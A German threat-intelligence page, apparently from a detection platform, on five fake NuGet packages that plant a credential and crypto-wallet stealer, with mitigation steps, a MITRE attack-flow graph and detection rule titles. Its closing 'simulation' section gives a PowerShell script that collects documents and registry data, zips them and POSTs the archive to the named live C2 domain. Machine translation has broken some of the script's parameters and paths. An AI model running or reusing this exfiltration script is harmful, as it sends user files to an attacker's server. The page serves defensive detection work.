Fünf gefälschte NuGet-UI-Pakete liefern Krypto-Wallet- und Anmeldeinformationen-Diebe
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Fünf NuGet-Pakete, die unter dem Konto veröffentlicht wurden bmrxntfj geben sich als bekannte chinesische .NET UI-Bibliotheken aus und binden einen Informationsdieb ein, der mit .NET Reactor geschützt ist. Der bösartige Payload aktiviert sich, sobald die DLL geladen wird, entführt den JIT-Compiler und stiehlt Browser-Anmeldeinformationen, Daten von Kryptowährungs-Wallets, SSH-Schlüssel und lokale Dateien, bevor er sie an eine neu registrierte Kommando- und Kontroll-Domain exfiltriert. Häufige Versionsänderungen und versteckte Paketlistungen helfen der Operation, einfache hashbasierte Erkennungen zu umgehen, und gefährden sowohl Entwicklerarbeitsplätze als auch CI/CD-Umgebungen.
Untersuchung
Forscher packten die durch .NET Reactor geschützte Malware aus, identifizierten eine zweite .NET-Assembly namens we4ftg.exeund stellten Konfigurationsstrings aus dem Speicher wieder her. Ihre Analyse zeigte, welche Browser und Wallet-Erweiterungen ins Visier genommen wurden, dokumentierte ein benutzerdefiniertes HTTP-Header-Schema und identifizierte einen Staging-Speicherort im OneDrive-Verzeichnis. Die Untersuchung deckte außerdem Infrastrukturdaten auf, einschließlich der Kommando- und Kontroll-Domain, ihrer IP-Adresse und eines zugehörigen privaten Git-Servers.
Milderung
Verteidiger sollten die DNS-Auflösung und den ausgehenden Verkehr zur identifizierten Kommando- und Kontroll-Domain sowie zur IP-Adresse blockieren, die Erstellung der keys.dat Datei im OneDrive-Ordner überwachen und beim benutzerdefinierten X-xxx HTTP-Header alarmieren. Alle IR.* Pakete sollten aus den Abhängigkeitsbäumen entfernt und durch verifizierte legitime Bibliotheken ersetzt werden. Alle potenziell gefährdeten Anmeldedaten, Tokens und Geheimnisse sollten sofort rotiert werden.
Antwort
Jedes System, das eines der bösartigen IR.* Pakete wiederhergestellt oder geladen hat, sollte als kompromittiert behandelt, isoliert und einer vollständigen Anmeldeinformationsrotation unterzogen werden. Erkennungsinhalte sollten mit den veröffentlichten Indikatoren aktualisiert werden, und Teams sollten mit den Administratoren der NuGet Gallery zusammenarbeiten, um sicherzustellen, dass die bösartigen Pakete entfernt und das Publisher-Konto suspendiert wird.
"graph TB %% Klassendefinitionen classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#ccffcc classDef operator fill:#ff9900 %% Knoten – Techniken tech_supply_chain["<b>Technik</b> – <b>T1195.002 Lieferkettenkompromittierung</b><br/><b>Beschreibung</b>: Kompromittierung einer Software-Lieferkette, um bösartigen Code in legitime Pakete zu injizieren."] class tech_supply_chain technique tech_appdomain_hijack["<b>Technik</b> – <b>T1574.014 Ausführungshijack: .NET AppDomain Manager</b><br/><b>Beschreibung</b>: Gegner kapern den .NET AppDomainManager, um Code auszuführen, bevor die vorgesehene Anwendung startet."] class tech_appdomain_hijack technique tech_obfuscation["<b>Technik</b> – <b>T1027 Verschleierte Dateien oder Informationen</b><br/><b>Beschreibung</b>: Einsatz von Verpackung, Verschlüsselung oder anderen Methoden, um bösartigen Code oder Daten zu verbergen."] class tech_obfuscation technique tech_trusted_dev_proxy["<b>Technik</b> – <b>T1127 Ausführung entwicklervertrauenswürdiger Dienstprogramme</b><br/><b>Beschreibung</b>: Missbrauch legitimer Entwicklertools oder Paketmanager, um bösartigen Code auszuführen."] class tech_trusted_dev_proxy technique tech_software_ext["<b>Technik</b> – <b>T1176 Softwareerweiterungen</b><br/><b>Beschreibung</b>: Nutzung von Softwareerweiterungen oder Plugins, um Ausführung zu erlangen."] class tech_software_ext technique tech_process_discovery["<b>Technik</b> – <b>T1057 Prozesserkennung</b><br/><b>Beschreibung</b>: Aufzählung laufender Prozesse auf dem Zielsystem."] class tech_process_discovery technique tech_file_dir_discovery["<b>Technik</b> – <b>T1083 Datei- und Verzeichniserkennung</b><br/><b>Beschreibung</b>: Listen von Dateien und Verzeichnissen, um wertvolle Daten zu ermitteln."] class tech_file_dir_discovery technique tech_browser_info["<b>Technik</b> – <b>T1217 Browser-Informationserkennung</b><br/><b>Beschreibung</b>: Informationen über installierte Browser und Erweiterungen sammeln."] class tech_browser_info technique tech_browser_credentials["<b>Technik</b> – <b>T1555.003 Anmeldeinformationen aus Webbrowsern</b><br/><b>Beschreibung</b>: Extrahieren von gespeicherten Passwörtern, Cookies und anderem Anmeldematerial aus Browsern."] class tech_browser_credentials technique tech_private_keys["<b>Technik</b> – <b>T1552.004 Unverschlüsselte Anmeldeinformationen: Private Schlüssel</b><br/><b>Beschreibung</b>: Auffinden und Exfiltrieren privater SSH-Schlüssel und anderer kryptografischer Schlüssel."] class tech_private_keys technique tech_credentials_files["<b>Technik</b> – <b>T1552.001 Anmeldeinformationen in Dateien</b><br/><b>Beschreibung</b>: Suche nach Anmeldeinformationen, die in Konfigurations- oder Datendateien gespeichert sind."] class tech_credentials_files technique tech_data_staged_local["<b>Technik</b> – <b>T1074.001 Datenbereitstellung: Lokal</b><br/><b>Beschreibung</b>: Gesammelte Daten werden vor der Exfiltration auf dem lokalen Host aggregiert."] class tech_data_staged_local technique tech_data_staged_remote["<b>Technik</b> – <b>T1074.002 Datenbereitstellung: Remote</b><br/><b>Beschreibung</b>: Daten werden auf einem entfernten Ort wie Cloud-Speicher bereitgestellt."] class tech_data_staged_remote technique tech_process_injection["<b>Technik</b> – <b>T1055.001 Prozessinjektion: Dynamische-Bibliothek-Injektion</b><br/><b>Beschreibung</b>: Injektion von bösartigen DLLs in legitime Prozesse zur getarnten Ausführung."] class tech_process_injection technique tech_sandbox_evasion["<b>Technik</b> – <b>T1497.002 Virtualisierung/Sandbox-Umgehung: Benutzertätigkeitsbasierte Überprüfungen</b><br/><b>Beschreibung</b>: Erkennen von Sandbox-Umgebungen durch Überprüfung bekannter Benutzernamen oder Computernamen."] class tech_sandbox_evasion technique tech_c2_web["<b>Technik</b> – <b>T1071.001 Applikationsschicht-Protokoll: Web-Protokolle</b><br/><b>Beschreibung</b>: Nutzung von HTTP/S zur Kommunikation mit Kommando- und Kontrollservern."] class tech_c2_web technique tech_junk_data["<b>Technik</b> – <b>T1001.001 Datenverschleierung: Junk-Daten</b><br/><b>Beschreibung</b>: Hinzufügen von zufälligem Rauschen zu Netzwerk-Lasten, um die Erkennung zu erschweren."] class tech_junk_data technique %% Knoten – Werkzeuge und Malware tool_nuget_pkg["<b>Werkzeug</b> – <b>Name</b>: Bösartiges NuGet-Paket IR.*<br/><b>Beschreibung</b>: Zu NuGet veröffentlichte Pakete, die legitime chinesische .NET-Bibliotheken nachahmen und während der Wiederherstellung gezogen werden."] class tool_nuget_pkg tool tool_dotnet_reactor["<b>Werkzeug</b> – <b>Name</b>: .NET Reactor (Necrobit)<br/><b>Beschreibung</b>: Verpackt und verschlüsselt .NET-Assemblies, fügt RSA‑1024 Manipulationsschutz-Signaturen hinzu."] class tool_dotnet_reactor tool malware_payload["<b>Malware</b> – <b>Name</b>: .NET Reactor Payload<br/><b>Beschreibung</b>: Verschlüsselte .NET-Assembly, die vom AppDomainManager-Initialisierer geladen wird."] class malware_payload malware tool_sharpinjector["<b>Werkzeug</b> – <b>Name</b>: SharpInjector<br/><b>Beschreibung</b>: .NET-Injektor, der DLL-Injektion in langlebige Prozesse wie explorer.exe durchführt."] class tool_sharpinjector tool process_explorer["<b>Prozess</b> – <b>Name</b>: explorer.exe"] class process_explorer process process_dllhost["<b>Prozess</b> – <b>Name</b>: dllhost.exe"] class process_dllhost process data_staged_file["<b>Daten</b> – <b>Pfad</b>: C:ProgramDataMicrosoft OneDrivekeys.dat"] class data_staged_file data %% Flussverbindungen tech_supply_chain –>|liefert| tool_nuget_pkg tool_nuget_pkg –>|löst aus| tech_appdomain_hijack tech_appdomain_hijack –>|lädt| malware_payload malware_payload –>|verpackt durch| tool_dotnet_reactor tool_dotnet_reactor –>|ermöglicht| tech_obfuscation tech_obfuscation –>|erleichtert| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|nutzt| tech_software_ext tech_software_ext –>|ermöglicht| tech_process_discovery tech_process_discovery –>|führt zu| tech_file_dir_discovery tech_file_dir_discovery –>|führt zu| tech_browser_info tech_browser_info –>|ermöglicht| tech_browser_credentials tech_browser_credentials –>|sammelt| tech_private_keys tech_private_keys –>|sammelt| tech_credentials_files tech_credentials_files –>|bündelt| tech_data_staged_local tech_data_staged_local –>|schreibt zu| data_staged_file data_staged_file –>|synct zu| tech_data_staged_remote tech_data_staged_remote –>|nutzt| tool_sharpinjector tool_sharpinjector –>|injiziert in| process_explorer tool_sharpinjector –>|injiziert in| process_dllhost process_explorer –>|unterstützt| tech_process_injection process_dllhost –>|unterstützt| tech_process_injection tech_process_injection –>|prüft| tech_sandbox_evasion tech_sandbox_evasion –>|ermöglicht| tech_c2_web tech_c2_web –>|überträgt mit| tech_junk_data %% Klassenzuordnungen class tech_supply_chain,tech_appdomain_hijack,tech_obfuscation,tech_trusted_dev_proxy,tech_software_ext,tech_process_discovery,tech_file_dir_discovery,tech_browser_info,tech_browser_credentials,tech_private_keys,tech_credentials_files,tech_data_staged_local,tech_data_staged_remote,tech_process_injection,tech_sandbox_evasion,tech_c2_web,tech_junk_data technique class tool_nuget_pkg,tool_dotnet_reactor,tool_sharpinjector tool class malware_payload malware class process_explorer,process_dllhost process class data_staged_file data "
Angriffsfluss
Erkennungen
Kurzer Dateiname (über cmdline)
Ansehen
IOCs (HashSha256) zur Erkennung: 5 bösartige NuGet-Pakete imitieren chinesische UI-Bibliotheken, um Kryptowährungs-Wallets und Anmeldeinformationsdiebe zu verteilen
Ansehen
IOCs (HashSha1) zur Erkennung: 5 bösartige NuGet-Pakete imitieren chinesische UI-Bibliotheken, um Kryptowährungs-Wallets und Anmeldeinformationsdiebe zu verteilen
Ansehen
IOCs (Quell-IP) zur Erkennung: 5 bösartige NuGet-Pakete imitieren chinesische UI-Bibliotheken, um Kryptowährungs-Wallets und Anmeldeinformationsdiebe zu verteilen
Ansehen
IOCs (Ziel-IP) zur Erkennung: 5 bösartige NuGet-Pakete imitieren chinesische UI-Bibliotheken, um Kryptowährungs-Wallets und Anmeldeinformationsdiebe zu verteilen
Ansehen
Erkennung bösartiger C2-Kommunikation in Exfiltrationskampagne [Windows-Netzwerkverbindung]
Ansehen
Erkennung bösartiger NuGet-Pakete, die JIT-Hooking und Payload-Delivery ausführen [Windows-Prozesskreation]
Ansehen
Simulation Ausführung
Voraussetzung: Die Telemetrie- und Basislinien-Prüfung muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und das Narrativ MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu generieren, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffserzählung und Befehle:
Ein Angreifer hat ein legitimes NuGet-Paket kompromittiert, das beim Importieren in eine Ziel-.NET-Anwendung eine PowerShell-Last initiiert. Die Last führt folgende Schritte aus:- Erkennung (T1082, T1083): OS-Version sammeln und Benutzer-Dokumente auflisten.
- Anmeldeinformationssammlung (T1552.001): Gespeicherte Anmeldeinformationen aus der Registrierung lesen.
- Archivierung (T1560): Die gesammelten Dateien in ein ZIP-Archiv komprimieren.
- Header-Verschleierung (T1027): Einen benutzerdefinierten HTTP-Header hinzufügen
X-Auth-Token: <zufälliger‑String>um den Exfilverkehr zu verschleiern. - C2-Exfiltration (T1071.001, T1005, T1195.002): Das Archiv per POST an den bösartigen C2-Server unter
dns-providersa2.com(oder seine fest kodierte IP62.84.102.85).
Die Verwendung des
X-Headers erfüllt direkt die Sigma-Regelhttp.request.header|contains: "X-"Bedingung, während das Ziel mit der statischen IoC übereinstimmt. -
Regressionstest-Skript:
# ----------------------------------------------------------------- # Regressionstest – „Bösartige C2-Kommunikation“ Sigma-Regel auslösen # ----------------------------------------------------------------- # 1. Systeminformationen sammeln (T1082) $sysInfo = Get-ComputerInfo | Select-Object OSName, OSVersion, WindowsDirectory # 2. Benutzer-Dokumente auflisten (T1083) $docs = Get-ChildItem "$env:USERPROFILEDocuments" -Rekursiv -Datei -ErrorAction SilentlyContinue # 3. Beispielanmeldeinformationen aus der Registrierung lesen (T1552.001) $credPath = "HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU" $storedCred = (Get-ItemProperty -Pfad $credPath).MRUList | Out-String # 4. Daten verpacken (T1560) $tempZip = "$env:TEMPexfil_$(Get-Random).zip" $items = @($sysInfo, $docs, $storedCred) Compress-Archive -Pfad $items -Zielpfad $tempZip -Erzwingen # 5. Benutzerdefinierten HTTP-Header vorbereiten (Verschleierung – T1027) $authToken = "X-Auth-Token: $([guid]::NewGuid().ToString())" # 6. Über HTTP POST an bösartiges C2 exfiltrieren (T1071.001) $c2 = "http://dns-providersa2.com/upload" Invoke-WebRequest -Uri $c2 ` -Methode Post ` -InFile $tempZip ` -ContentType "application/octet-stream" ` -Headers @{'X-Auth-Token' = $authToken} # 7. Lokale Artefakte bereinigen Remove-Item $tempZip -Erzwingen -
Bereinigungsbefehle:
# Alle temporären Dateien entfernen, die möglicherweise vom Test bleiben Get-ChildItem "$env:TEMPexfil_*.zip" -ErrorAction SilentlyContinue | Remove-Item -Erzwingen # Firewall-Protokollgröße zurücksetzen (optional) netsh advfirewall set allprofiles logging maxfilesize 4096